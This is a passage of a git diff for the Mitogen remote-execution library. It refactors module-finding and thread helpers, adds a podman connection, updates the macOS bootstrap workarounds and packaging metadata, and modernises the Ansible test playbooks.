self._log.debug('requesting %s', fullname) self._refuse_imports(fullname) @@ -2679,7 +2717,7 @@ class Latch(object): raise e assert cookie == got_cookie, ( - "Cookie incorrect; got %r, expected %r" \ + "Cookie incorrect; got %r, expected %r" % (binascii.hexlify(got_cookie), binascii.hexlify(cookie)) ) @@ -2734,7 +2772,7 @@ class Latch(object): return 'Latch(%#x, size=%d, t=%r)' % ( id(self), len(self._queue), - threading.currentThread().getName(), + threading__thread_name(threading__current_thread()), ) @@ -3634,7 +3672,6 @@ class Dispatcher(object): self._service_recv.notify = None self.recv.close() - @classmethod @takes_econtext def forget_chain(cls, chain_id, econtext): @@ -3860,7 +3897,7 @@ class ExternalContext(object): else: core_src_fd = self.config.get('core_src_fd', 101) if core_src_fd: - fp = os.fdopen(core_src_fd, 'rb', 1) + fp = os.fdopen(core_src_fd, 'rb', 0) try: core_src = fp.read() # Strip "ExternalContext.main()" call from last line. diff --git a/mitogen/fakessh.py b/mitogen/fakessh.py index e62cf84a..2d660248 100644 --- a/mitogen/fakessh.py +++ b/mitogen/fakessh.py @@ -103,7 +103,6 @@ import tempfile import threading import mitogen.core -import mitogen.master import mitogen.parent from mitogen.core import LOG, IOLOG @@ -200,7 +199,7 @@ class Process(object): def _on_stdin(self, msg): if msg.is_dead: - IOLOG.debug('%r._on_stdin() -> %r', self, data) + IOLOG.debug('%r._on_stdin() -> %r', self, msg) self.pump.protocol.close() return @@ -437,7 +436,7 @@ def run(dest, router, args, deadline=None, econtext=None): fp.write(inspect.getsource(mitogen.core)) fp.write('\n') fp.write('ExternalContext(%r).main()\n' % ( - _get_econtext_config(context, sock2), + _get_econtext_config(econtext, sock2), )) finally: fp.close() diff --git a/mitogen/kubectl.py b/mitogen/kubectl.py index 374ab747..5d3994ae 100644 --- a/mitogen/kubectl.py +++ b/mitogen/kubectl.py @@ -28,7 +28,6 @@ # !mitogen: minify_safe -import mitogen.core import mitogen.parent diff --git a/mitogen/lxc.py b/mitogen/lxc.py index a86ce5f0..21dfef59 100644 --- a/mitogen/lxc.py +++ b/mitogen/lxc.py @@ -28,7 +28,6 @@ # !mitogen: minify_safe -import mitogen.core import mitogen.parent diff --git a/mitogen/lxd.py b/mitogen/lxd.py index 675dddcd..09034abf 100644 --- a/mitogen/lxd.py +++ b/mitogen/lxd.py @@ -28,7 +28,6 @@ # !mitogen: minify_safe -import mitogen.core import mitogen.parent diff --git a/mitogen/master.py b/mitogen/master.py index e54795cb..3a163a8b 100644 --- a/mitogen/master.py +++ b/mitogen/master.py @@ -108,7 +108,7 @@ def _stdlib_paths(): ] prefixes = (getattr(sys, a, None) for a in attr_candidates) version = 'python%s.%s' % sys.version_info[0:2] - s = set(os.path.abspath(os.path.join(p, 'lib', version)) + s = set(os.path.realpath(os.path.join(p, 'lib', version)) for p in prefixes if p is not None) # When running 'unit2 tests/module_finder_test.py' in a Py2 venv on Ubuntu @@ -122,6 +122,13 @@ def is_stdlib_name(modname): """ Return :data:`True` if `modname` appears to come from the standard library. """ + # `imp.is_builtin()` isn't a documented as part of Python's stdlib API. + # + # """ + # Main is a little special - imp.is_builtin("__main__") will return False, + # but BuiltinImporter is still the most appropriate initial setting for + # its __loader__ attribute. + # """ -- comment in CPython pylifecycle.c:add_main_module() if imp.is_builtin(modname) != 0: return True @@ -512,42 +519,57 @@ class PkgutilMethod(FinderMethod): Find `fullname` using :func:`pkgutil.find_loader`. """ try: + # If fullname refers to a submodule that's not already imported + # then the containing package is imported. # Pre-'import spec' this returned None, in Python3.6 it raises # ImportError. loader = pkgutil.find_loader(fullname) except ImportError: e = sys.exc_info()[1] - LOG.debug('%r._get_module_via_pkgutil(%r): %s', - self, fullname, e) + LOG.debug('%r: find_loader(%r) failed: %s', self, fullname, e) return None - IOLOG.debug('%r._get_module_via_pkgutil(%r) -> %r', - self, fullname, loader) if not loader: + LOG.debug('%r: find_loader(%r) returned %r, aborting', + self, fullname, loader) return try: - path, is_special = _py_filename(loader.get_filename(fullname)) - source = loader.get_source(fullname) - is_pkg = loader.is_package(fullname) - - # workaround for special python modules that might only exist in memory - if is_special and is_pkg and not source: - source = '\n' + path = loader.get_filename(fullname) except (AttributeError, ImportError): - # - Per PEP-302, get_source() and is_package() are optional, - # calling them may throw AttributeError. # - get_filename() may throw ImportError if pkgutil.find_loader() # picks a "parent" package's loader for some crap that's been # stuffed in sys.modules, for example in the case of urllib3: # "loader for urllib3.contrib.pyopenssl cannot handle # requests.packages.urllib3.contrib.pyopenssl" e = sys.exc_info()[1] - LOG.debug('%r: loading %r using %r failed: %s', - self, fullname, loader, e) + LOG.debug('%r: %r.get_file_name(%r) failed: %r', self, loader, fullname, e) + return + + path, is_special = _py_filename(path) + + try: + source = loader.get_source(fullname) + except AttributeError: + # Per PEP-302, get_source() is optional, + e = sys.exc_info()[1] + LOG.debug('%r: %r.get_source() failed: %r', self, loader, fullname, e) return + try: + is_pkg = loader.is_package(fullname) + except AttributeError: + # Per PEP-302, is_package() is optional, + e = sys.exc_info()[1] + LOG.debug('%r: %r.is_package(%r) failed: %r', self, loader, fullname, e) + return + + # workaround for special python modules that might only exist in memory + if is_special and is_pkg and not source: + source = '\n' + if path is None or source is None: + LOG.debug('%r: path=%r, source=%r, aborting', self, path, source) return if isinstance(source, mitogen.core.UnicodeType): @@ -567,23 +589,37 @@ class SysModulesMethod(FinderMethod): """ Find `fullname` using its :data:`__file__` attribute. """ - module = sys.modules.get(fullname) + try: + module = sys.modules[fullname] + except KeyError: + LOG.debug('%r: sys.modules[%r] absent, aborting', self, fullname) + return + if not isinstance(module, types.ModuleType): - LOG.debug('%r: sys.modules[%r] absent or not a regular module', - self, fullname) + LOG.debug('%r: sys.modules[%r] is %r, aborting', + self, fullname, module) + return + + try: + resolved_name = module.__name__ + except AttributeError: + LOG.debug('%r: %r has no __name__, aborting', self, module) + return + + if resolved_name != fullname: + LOG.debug('%r: %r.__name__ is %r, aborting', + self, module, resolved_name) return - LOG.debug('_get_module_via_sys_modules(%r) -> %r', fullname, module) - alleged_name = getattr(module, '__name__', None) - if alleged_name != fullname: - LOG.debug('sys.modules[%r].__name__ is incorrect, assuming ' - 'this is a hacky module alias and ignoring it. ' - 'Got %r, module object: %r', - fullname, alleged_name, module) + try: + path = module.__file__ + except AttributeError: + LOG.debug('%r: %r has no __file__, aborting', self, module) return - path, _ = _py_filename(getattr(module, '__file__', '')) + path, _ = _py_filename(path) if not path: + LOG.debug('%r: %r.__file__ is %r, aborting', self, module, path) return LOG.debug('%r: sys.modules[%r]: found %s', self, fullname, path) @@ -628,10 +664,24 @@ class ParentEnumerationMethod(FinderMethod): module object or any parent package's :data:`__path__`, since they have all been overwritten. Some men just want to watch the world burn. """ + + @staticmethod + def _iter_parents(fullname): + """ + >>> list(ParentEnumerationMethod._iter_parents('a')) + [('', 'a')] + >>> list(ParentEnumerationMethod._iter_parents('a.b.c')) + [('a.b', 'c'), ('a', 'b'), ('', 'a')] + """ + while fullname: + fullname, _, modname = str_rpartition(fullname, u'.') + yield fullname, modname + def _find_sane_parent(self, fullname): """ Iteratively search :data:`sys.modules` for the least indirect parent of - `fullname` that is loaded and contains a :data:`__path__` attribute. + `fullname` that's from the same package and has a :data:`__path__` + attribute. :return: `(parent_name, path, modpath)` tuple, where: @@ -644,21 +694,40 @@ class ParentEnumerationMethod(FinderMethod): * `modpath`: list of module name components leading from `path` to the target module. """ - path = None modpath = [] - while True: - pkgname, _, modname = str_rpartition(to_text(fullname), u'.') + for pkgname, modname in self._iter_parents(fullname): modpath.insert(0, modname) if not pkgname: return [], None, modpath - pkg = sys.modules.get(pkgname) - path = getattr(pkg, '__path__', None) - if pkg and path: - return pkgname.split('.'), path, modpath + try: + pkg = sys.modules[pkgname] + except KeyError: + LOG.debug('%r: sys.modules[%r] absent, skipping', self, pkgname) + continue + + try: + resolved_pkgname = pkg.__name__ + except AttributeError: + LOG.debug('%r: %r has no __name__, skipping', self, pkg) + continue + + if resolved_pkgname != pkgname: + LOG.debug('%r: %r.__name__ is %r, skipping', + self, pkg, resolved_pkgname) + continue + + try: + path = pkg.__path__ + except AttributeError: + LOG.debug('%r: %r has no __path__, skipping', self, pkg) + continue + + if not path: + LOG.debug('%r: %r.__path__ is %r, skipping', self, pkg, path) + continue - LOG.debug('%r: %r lacks __path__ attribute', self, pkgname) - fullname = pkgname + return pkgname.split('.'), path, modpath def _found_package(self, fullname, path): path = os.path.join(path, '__init__.py') @@ -1167,7 +1236,7 @@ class Broker(mitogen.core.Broker): def __init__(self, install_watcher=True): if install_watcher: self._watcher = ThreadWatcher.watch( - target=threading.currentThread(), + target=mitogen.core.threading__current_thread(), on_join=self.shutdown, ) super(Broker, self).__init__() diff --git a/mitogen/os_fork.py b/mitogen/os_fork.py index da832c65..9c649d07 100644 --- a/mitogen/os_fork.py +++ b/mitogen/os_fork.py @@ -35,7 +35,6 @@ Support for operating in a mixed threading/forking environment. import os import socket import sys -import threading import weakref import mitogen.core @@ -158,7 +157,7 @@ class Corker(object): held. This will not return until each thread acknowledges it has ceased execution. """ - current = threading.currentThread() + current = mitogen.core.threading__current_thread() s = mitogen.core.b('CORK') * ((128 // 4) * 1024) self._rsocks = [] diff --git a/mitogen/parent.py b/mitogen/parent.py index 3b4dca8a..32aa3cb6 100644 --- a/mitogen/parent.py +++ b/mitogen/parent.py @@ -42,7 +42,6 @@ import heapq import inspect import logging import os -import platform import re import signal import socket @@ -1410,9 +1409,15 @@ class Connection(object): # their respective values. # * CONTEXT_NAME must be prefixed with the name of the Python binary in # order to allow virtualenvs to detect their install prefix. - # * For Darwin, OS X installs a craptacular argv0-introspecting Python - # version switcher as /usr/bin/python. Override attempts to call it - # with an explicit call to python2.7 + # * macOS <= 10.14 (Darwin <= 18) install an unreliable Python version + # switcher as /usr/bin/python, which introspects argv0. To workaround + # it we redirect attempts to call /usr/bin/python with an explicit + # call to /usr/bin/python2.7. macOS 10.15 (Darwin 19) removed it. + # * macOS 11.x (Darwin 20, Big Sur) and macOS 12.x (Darwin 21, Montery) + # do something slightly different. The Python executable is patched to + # perform an extra execvp(). I don't fully understand the details, but + # setting PYTHON_LAUNCHED_FROM_WRAPPER=1 avoids it. + # * macOS 13.x (Darwin 22?) may remove python 2.x entirely. # # Locals: # R: read side of interpreter stdin. @@ -1435,11 +1440,8 @@ class Connection(object): os.close(r) os.close(W) os.close(w) - # this doesn't apply anymore to Mac OSX 10.15+ (Darwin 19+), new interpreter looks like this: - # /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python - if sys.platform == 'darwin' and sys.executable == '/usr/bin/python' and \ - int(platform.release()[:2]) < 19: - sys.executable += sys.version[:3] + if os.uname()[0]=='Darwin'and os.uname()[2][:2]<'19'and sys.executable=='/usr/bin/python':sys.executable='/usr/bin/python2.7' + if os.uname()[0]=='Darwin'and os.uname()[2][:2]in'2021'and sys.version[:3]=='2.7':os.environ['PYTHON_LAUNCHED_FROM_WRAPPER']='1' os.environ['ARGV0']=sys.executable os.execl(sys.executable,sys.executable+'(mitogen:CONTEXT_NAME)') os.write(1,'MITO000\n'.encode()) @@ -1469,7 +1471,7 @@ class Connection(object): def get_boot_command(self): source = inspect.getsource(self._first_stage) source = textwrap.dedent('\n'.join(source.strip().split('\n')[2:])) - source = source.replace(' ', '\t') + source = source.replace(' ', ' ') source = source.replace('CONTEXT_NAME', self.options.remote_name) preamble_compressed = self.get_preamble() source = source.replace('PREAMBLE_COMPRESSED_LEN', @@ -1506,7 +1508,7 @@ class Connection(object): def get_preamble(self): suffix = ( - '\nExternalContext(%r).main()\n' %\ + '\nExternalContext(%r).main()\n' % (self.get_econtext_config(),) ) partial = get_core_source_partial() @@ -2505,6 +2507,9 @@ class Router(mitogen.core.Router): def ssh(self, **kwargs): return self.connect(u'ssh', **kwargs) + def podman(self, **kwargs): + return self.connect(u'podman', **kwargs) + class Reaper(object): """ diff --git a/mitogen/podman.py b/mitogen/podman.py new file mode 100644 index 00000000..acc46a33 --- /dev/null +++ b/mitogen/podman.py @@ -0,0 +1,73 @@ +# Copyright 2019, David Wilson +# Copyright 2021, Mitogen contributors +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. + +# !mitogen: minify_safe + +import logging + +import mitogen.parent + + +LOG = logging.getLogger(__name__) + + +class Options(mitogen.parent.Options): + container = None + username = None + podman_path = 'podman' + + def __init__(self, container=None, podman_path=None, username=None, + **kwargs): + super(Options, self).__init__(**kwargs) + assert container is not None + self.container = container + if podman_path: + self.podman_path = podman_path + if username: + self.username = username + + +class Connection(mitogen.parent.Connection): + options_class = Options + child_is_immediate_subprocess = False + + # TODO: better way of capturing errors such as "No such container." + create_child_args = { + 'merge_stdio': True + } + + def _get_name(self): + return u'podman.' + self.options.container + + def get_boot_command(self): + args = [self.options.podman_path, 'exec'] + if self.options.username: + args += ['--user=' + self.options.username] + args += ["--interactive", "--", self.options.container] + return args + super(Connection, self).get_boot_command() diff --git a/mitogen/profiler.py b/mitogen/profiler.py index bbf6086a..512a593e 100644 --- a/mitogen/profiler.py +++ b/mitogen/profiler.py @@ -90,7 +90,7 @@ def merge_stats(outpath, inpaths): break time.sleep(0.2) - stats.dump_stats(outpath) + pstats.dump_stats(outpath) def generate_stats(outpath, tmpdir): diff --git a/mitogen/service.py b/mitogen/service.py index 249a8781..0e5f6419 100644 --- a/mitogen/service.py +++ b/mitogen/service.py @@ -31,7 +31,6 @@ import grp import logging import os -import os.path import pprint import pwd import stat @@ -109,7 +108,8 @@ def get_or_create_pool(size=None, router=None, context=None): def get_thread_name(): - return threading.currentThread().getName() + thread = mitogen.core.threading__current_thread() + return mitogen.core.threading__thread_name(thread) def call(service_name, method_name, call_context=None, **kwargs): diff --git a/mitogen/utils.py b/mitogen/utils.py index b1347d02..71f7c35f 100644 --- a/mitogen/utils.py +++ b/mitogen/utils.py @@ -29,14 +29,13 @@ # !mitogen: minify_safe import datetime +import functools import logging import os import sys -import mitogen import mitogen.core import mitogen.master -import mitogen.parent iteritems = getattr(dict, 'iteritems', dict.items) @@ -173,12 +172,9 @@ def with_router(func): do_stuff(blah, 123) """ + @functools.wraps(func) def wrapper(*args, **kwargs): return run_with_router(func, *args, **kwargs) - if mitogen.core.PY3: - wrapper.func_name = func.__name__ - else: - wrapper.func_name = func.func_name return wrapper diff --git a/preamble_size.py b/preamble_size.py old mode 100644 new mode 100755 index f0d1e804..efb46eae --- a/preamble_size.py +++ b/preamble_size.py @@ -1,3 +1,4 @@ +#!/usr/bin/env python """ Print the size of a typical SSH command line and the bootstrap code sent to new contexts. diff --git a/run_tests b/run_tests index b583af3b..75663d15 100755 --- a/run_tests +++ b/run_tests @@ -28,10 +28,6 @@ NOCOVERAGE="${NOCOVERAGE:-}" NOCOVERAGE_ERASE="${NOCOVERAGE_ERASE:-$NOCOVERAGE}" NOCOVERAGE_REPORT="${NOCOVERAGE_REPORT:-$NOCOVERAGE}" -if [ ! "$UNIT2" ]; then - UNIT2="$(which unit2)" -fi - if [ ! "$NOCOVERAGE_ERASE" ]; then coverage erase fi @@ -39,12 +35,12 @@ fi # First run overwites coverage output. [ "$SKIP_MITOGEN" ] || { if [ ! "$NOCOVERAGE" ]; then - coverage run -a "${UNIT2}" discover \ + coverage run -a -m unittest discover \ --start-directory "tests" \ --pattern '*_test.py' \ "$@" else - "${UNIT2}" discover \ + python -m unittest discover \ --start-directory "tests" \ --pattern '*_test.py' \ "$@" @@ -60,12 +56,12 @@ fi [ "$SKIP_ANSIBLE" ] || { export PYTHONPATH=`pwd`/tests:$PYTHONPATH if [ ! "$NOCOVERAGE" ]; then - coverage run -a "${UNIT2}" discover \ + coverage run -a -m unittest discover \ --start-directory "tests/ansible" \ --pattern '*_test.py' \ "$@" else - "${UNIT2}" discover \ + python -m unittest discover \ --start-directory "tests/ansible" \ --pattern '*_test.py' \ "$@" diff --git a/setup.cfg b/setup.cfg index bf012c6b..08919787 100644 --- a/setup.cfg +++ b/setup.cfg @@ -1,3 +1,6 @@ +[bdist_wheel] +universal=1 + [coverage:run] branch = true source = diff --git a/setup.py b/setup.py index c3257996..9d2ff36f 100644 --- a/setup.py +++ b/setup.py @@ -26,6 +26,7 @@ # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +import ast import os from setuptools import find_packages, setup @@ -37,29 +38,45 @@ def grep_version(): for line in fp: if line.startswith('__version__'): _, _, s = line.partition('=') - return '.'.join(map(str, eval(s))) + parts = ast.literal_eval(s.strip()) + return '.'.join(str(part) for part in parts) + + +def long_description(): + here = os.path.dirname(__file__) + readme_path = os.path.join(here, 'README.md') + with open(readme_path) as fp: + readme = fp.read() + return readme setup( name = 'mitogen', version = grep_version(), description = 'Library for writing distributed self-replicating programs.', + long_description = long_description(), + long_description_content_type='text/markdown', author = 'David Wilson', license = 'New BSD', - url = 'https://github.com/dw/mitogen/', + url = 'https://github.com/mitogen-hq/mitogen/', packages = find_packages(exclude=['tests', 'examples']), + python_requires='>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*', zip_safe = False, classifiers = [ 'Environment :: Console', + 'Framework :: Ansible', 'Intended Audience :: System Administrators', 'License :: OSI Approved :: BSD License', + 'Operating System :: MacOS :: MacOS X', 'Operating System :: POSIX', 'Programming Language :: Python', - 'Programming Language :: Python :: 2.4', - 'Programming Language :: Python :: 2.5', - 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', + 'Programming Language :: Python :: 3.7', + 'Programming Language :: Python :: 3.8', + 'Programming Language :: Python :: 3.9', + 'Programming Language :: Python :: 3.10', 'Programming Language :: Python :: Implementation :: CPython', 'Topic :: System :: Distributed Computing', 'Topic :: System :: Systems Administration', diff --git a/tests/README.md b/tests/README.md index 51464989..65226e87 100644 --- a/tests/README.md +++ b/tests/README.md @@ -7,7 +7,7 @@ started in September 2017. Pull requests in this area are very welcome! ## Running The Tests -[![Build Status](https://api.travis-ci.org/dw/mitogen.svg?branch=master)](https://travis-ci.org/dw/mitogen) +[![Build Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master) Your computer should have an Internet connection, and the ``docker`` command line tool should be able to connect to a working Docker daemon (localhost or diff --git a/tests/ansible/README.md b/tests/ansible/README.md index 50e747fe..51bb1e60 100644 --- a/tests/ansible/README.md +++ b/tests/ansible/README.md @@ -10,7 +10,7 @@ demonstrator for what does and doesn't work. ## Preparation -See `../image_prep/README.md`. +See [`../image_prep/README.md`](../image_prep/README.md). ## `run_ansible_playbook.py` diff --git a/tests/ansible/all.yml b/tests/ansible/all.yml index e074a384..7a3e7000 100644 --- a/tests/ansible/all.yml +++ b/tests/ansible/all.yml @@ -1,3 +1,6 @@ -- include: regression/all.yml -- include: integration/all.yml - +- import_playbook: setup/all.yml + tags: setup +- import_playbook: regression/all.yml + tags: regression +- import_playbook: integration/all.yml + tags: integration diff --git a/tests/ansible/ansible.cfg b/tests/ansible/ansible.cfg index 59752492..dfc2858e 100644 --- a/tests/ansible/ansible.cfg +++ b/tests/ansible/ansible.cfg @@ -5,7 +5,11 @@ strategy_plugins = ../../ansible_mitogen/plugins/strategy inventory_plugins = lib/inventory action_plugins = lib/action callback_plugins = lib/callback -stdout_callback = nice_stdout +stdout_callback = yaml +stdout_whitelist = + profile_roles, + timer, + yaml vars_plugins = lib/vars library = lib/modules filter_plugins = lib/filters @@ -31,6 +35,9 @@ timeout = 10 # On Travis, paramiko check fails due to host key checking enabled. host_key_checking = False +[callback_profile_tasks] +task_output_limit = 10 + [ssh_connection] ssh_args = -o UserKnownHostsFile=/dev/null -o ForwardAgent=yes -o ControlMaster=auto -o ControlPersist=60s pipelining = True diff --git a/tests/ansible/bench/file_transfer.yml b/tests/ansible/bench/file_transfer.yml index 2ca46f1c..f6702f58 100644 --- a/tests/ansible/bench/file_transfer.yml +++ b/tests/ansible/bench/file_transfer.yml @@ -66,3 +66,6 @@ copy: src: /tmp/bigbigfile.in dest: /tmp/bigbigfile.out + + tags: + - resource_intensive diff --git a/tests/ansible/bench/includes.yml b/tests/ansible/bench/includes.yml index 4f50113a..96079874 100644 --- a/tests/ansible/bench/includes.yml +++ b/tests/ansible/bench/includes.yml @@ -2,3 +2,5 @@ tasks: - include_tasks: _includes.yml with_sequence: start=1 end=1000 + tags: + - resource_intensive diff --git a/tests/ansible/bench/loop-100-copies.yml b/tests/ansible/bench/loop-100-copies.yml index 0f4d3600..e25ae552 100644 --- a/tests/ansible/bench/loop-100-copies.yml +++ b/tests/ansible/bench/loop-100-copies.yml @@ -24,3 +24,8 @@ mode: 0644 with_filetree: /tmp/filetree.in when: item.state == 'file' + loop_control: + label: "/tmp/filetree.out/{{ item.path }}" + + tags: + - resource_intensive diff --git a/tests/ansible/bench/loop-100-items.yml b/tests/ansible/bench/loop-100-items.yml index c071c100..e711301d 100644 --- a/tests/ansible/bench/loop-100-items.yml +++ b/tests/ansible/bench/loop-100-items.yml @@ -8,3 +8,5 @@ tasks: - command: hostname with_sequence: start=1 end="{{end|default(100)}}" + tags: + - resource_intensive diff --git a/tests/ansible/bench/loop-100-tasks.yml b/tests/ansible/bench/loop-100-tasks.yml index bf6e31b8..4a76c4fe 100644 --- a/tests/ansible/bench/loop-100-tasks.yml +++ b/tests/ansible/bench/loop-100-tasks.yml @@ -110,3 +110,5 @@ - command: hostname - command: hostname - command: hostname + tags: + - resource_intensive diff --git a/tests/ansible/integration/action/all.yml b/tests/ansible/integration/action/all.yml index c43d5cc7..d823e05e 100644 --- a/tests/ansible/integration/action/all.yml +++ b/tests/ansible/integration/action/all.yml @@ -1,10 +1,10 @@ -- include: copy.yml -- include: fixup_perms2__copy.yml -- include: low_level_execute_command.yml -- include: make_tmp_path.yml -- include: make_tmp_path__double.yml -- include: remote_expand_user.yml -- include: remote_file_exists.yml -- include: remove_tmp_path.yml -- include: synchronize.yml -- include: transfer_data.yml +- import_playbook: copy.yml +- import_playbook: fixup_perms2__copy.yml +- import_playbook: low_level_execute_command.yml +- import_playbook: make_tmp_path.yml +- import_playbook: make_tmp_path__double.yml +- import_playbook: remote_expand_user.yml +- import_playbook: remote_file_exists.yml +- import_playbook: remove_tmp_path.yml +- import_playbook: synchronize.yml +- import_playbook: transfer_data.yml diff --git a/tests/ansible/integration/action/copy.yml b/tests/ansible/integration/action/copy.yml index b34b9831..611ff3f2 100644 --- a/tests/ansible/integration/action/copy.yml +++ b/tests/ansible/integration/action/copy.yml @@ -63,6 +63,7 @@ - stat.results[1].stat.checksum == "62951f943c41cdd326e5ce2b53a779e7916a820d" - stat.results[2].stat.checksum == "b26dd6444595e2bdb342aa0a91721b57478b5029" - stat.results[3].stat.checksum == "d675f47e467eae19e49032a2cc39118e12a6ee72" + fail_msg: stat={{stat}} - file: state: absent @@ -81,3 +82,5 @@ - /tmp/copy-large-inline-file.out # end of cleaning out files (again) + tags: + - copy diff --git a/tests/ansible/integration/action/fixup_perms2__copy.yml b/tests/ansible/integration/action/fixup_perms2__copy.yml index 1331f9bb..1ba19e6f 100644 --- a/tests/ansible/integration/action/fixup_perms2__copy.yml +++ b/tests/ansible/integration/action/fixup_perms2__copy.yml @@ -21,6 +21,7 @@ - assert: that: - out.stat.mode in ("0644", "0664") + fail_msg: out={{out}} # # copy module (explicit mode). @@ -37,6 +38,7 @@ - assert: that: - out.stat.mode == "0400" + fail_msg: out={{out}} # # copy module (existing disk files, no mode). @@ -63,6 +65,7 @@ - assert: that: - out.stat.mode in ("0644", "0664") + fail_msg: out={{out}} # # copy module (existing disk files, preserve mode). @@ -79,6 +82,7 @@ - assert: that: - out.stat.mode == "1462" + fail_msg: out={{out}} # # copy module (existing disk files, explicit mode). @@ -96,6 +100,7 @@ - assert: that: - out.stat.mode == "1461" + fail_msg: out={{out}} - file: state: absent @@ -109,3 +114,5 @@ - /tmp/copy-with-mode.out # end of cleaning out files + tags: + - fixup_perms2__copy diff --git a/tests/ansible/integration/action/low_level_execute_command.yml b/tests/ansible/integration/action/low_level_execute_command.yml index 7c14cb22..7f91bdf8 100644 --- a/tests/ansible/integration/action/low_level_execute_command.yml +++ b/tests/ansible/integration/action/low_level_execute_command.yml @@ -16,6 +16,7 @@ - 'raw.rc == 0' - 'raw.stdout_lines[-1]|to_text == "2"' - 'raw.stdout[-1]|to_text == "2"' + fail_msg: raw={{raw}} - name: Run raw module with sudo become: true @@ -39,3 +40,6 @@ ["root\r\n"], ["root"], ) + fail_msg: raw={{raw}} + tags: + - low_level_execute_command diff --git a/tests/ansible/integration/action/make_tmp_path.yml b/tests/ansible/integration/action/make_tmp_path.yml index 0a018d4c..bfebeffd 100644 --- a/tests/ansible/integration/action/make_tmp_path.yml +++ b/tests/ansible/integration/action/make_tmp_path.yml @@ -44,11 +44,13 @@ assert: that: - good_temp_path == good_temp_path2 + fail_msg: good_temp_path={{good_temp_path}} good_temp_path2={{good_temp_path2}} - name: "Verify different subdir for both tasks" assert: that: - tmp_path.path != tmp_path2.path + fail_msg: tmp_path={{tmp_path}} tmp_path2={{tmp_path2}} # # Verify subdirectory removal. @@ -69,6 +71,7 @@ that: - not stat1.stat.exists - not stat2.stat.exists + fail_msg: stat1={{stat1}} stat2={{stat2}} # # Verify good directory persistence. @@ -83,6 +86,7 @@ assert: that: - stat.stat.exists + fail_msg: stat={{stat}} # # Write some junk into the temp path. @@ -105,6 +109,7 @@ - assert: that: - not out.stat.exists + fail_msg: out={{out}} # # root @@ -123,6 +128,7 @@ that: - tmp_path2.path != tmp_path_root.path - tmp_path2.path|dirname != tmp_path_root.path|dirname + fail_msg: tmp_path_root={{tmp_path_root}} tmp_path2={{tmp_path2}} # # readonly homedir @@ -153,3 +159,6 @@ that: - out.module_path.startswith(good_temp_path2) - out.module_tmpdir.startswith(good_temp_path2) + fail_msg: out={{out}} + tags: + - make_tmp_path diff --git a/tests/ansible/integration/action/make_tmp_path__double.yml b/tests/ansible/integration/action/make_tmp_path__double.yml index 8b24d322..811e159d 100644 --- a/tests/ansible/integration/action/make_tmp_path__double.yml +++ b/tests/ansible/integration/action/make_tmp_path__double.yml @@ -18,3 +18,5 @@ script: | assert not self._remote_file_exists("{{ out.t1 }}") assert not self._remote_file_exists("{{ out.t2 }}") + tags: + - make_tmp_path_double diff --git a/tests/ansible/integration/action/remote_expand_user.yml b/tests/ansible/integration/action/remote_expand_user.yml index 37fc5ebe..8e31f657 100644 --- a/tests/ansible/integration/action/remote_expand_user.yml +++ b/tests/ansible/integration/action/remote_expand_user.yml @@ -27,6 +27,7 @@ register: out - assert: that: out.result == '{{user_facts.ansible_facts.ansible_user_dir}}/foo' + fail_msg: out={{out}} - name: "Expand ~/foo with become active. ~ is become_user's home." action_passthrough: @@ -49,6 +50,7 @@ register: out - assert: that: out.result == '{{user_facts.ansible_facts.ansible_user_dir}}/foo' + fail_msg: out={{out}} - name: "Expanding $HOME/foo has no effect." action_passthrough: @@ -59,6 +61,7 @@ register: out - assert: that: out.result == '$HOME/foo' + fail_msg: out={{out}} # ------------------------ @@ -71,6 +74,7 @@ register: out - assert: that: out.result == '{{user_facts.ansible_facts.ansible_user_dir}}/foo' + fail_msg: out={{out}} - name: "sudoable; Expand ~/foo with become active. ~ is become_user's home." action_passthrough: @@ -94,6 +98,7 @@ register: out - assert: that: out.result == '{{user_facts.ansible_facts.ansible_user_dir}}/foo' + fail_msg: out={{out}} - name: "sudoable; Expanding $HOME/foo has no effect." action_passthrough: @@ -104,3 +109,6 @@ register: out - assert: that: out.result == '$HOME/foo' + fail_msg: out={{out}} + tags: + - remote_expand_user diff --git a/tests/ansible/integration/action/remote_file_exists.yml b/tests/ansible/integration/action/remote_file_exists.yml index 20a825c8..2d206930 100644 --- a/tests/ansible/integration/action/remote_file_exists.yml +++ b/tests/ansible/integration/action/remote_file_exists.yml @@ -15,6 +15,7 @@ - assert: that: out.result == False + fail_msg: out={{out}} # --- @@ -29,8 +30,10 @@ - assert: that: out.result == True + fail_msg: out={{out}} - file: path: /tmp/does-exist state: absent 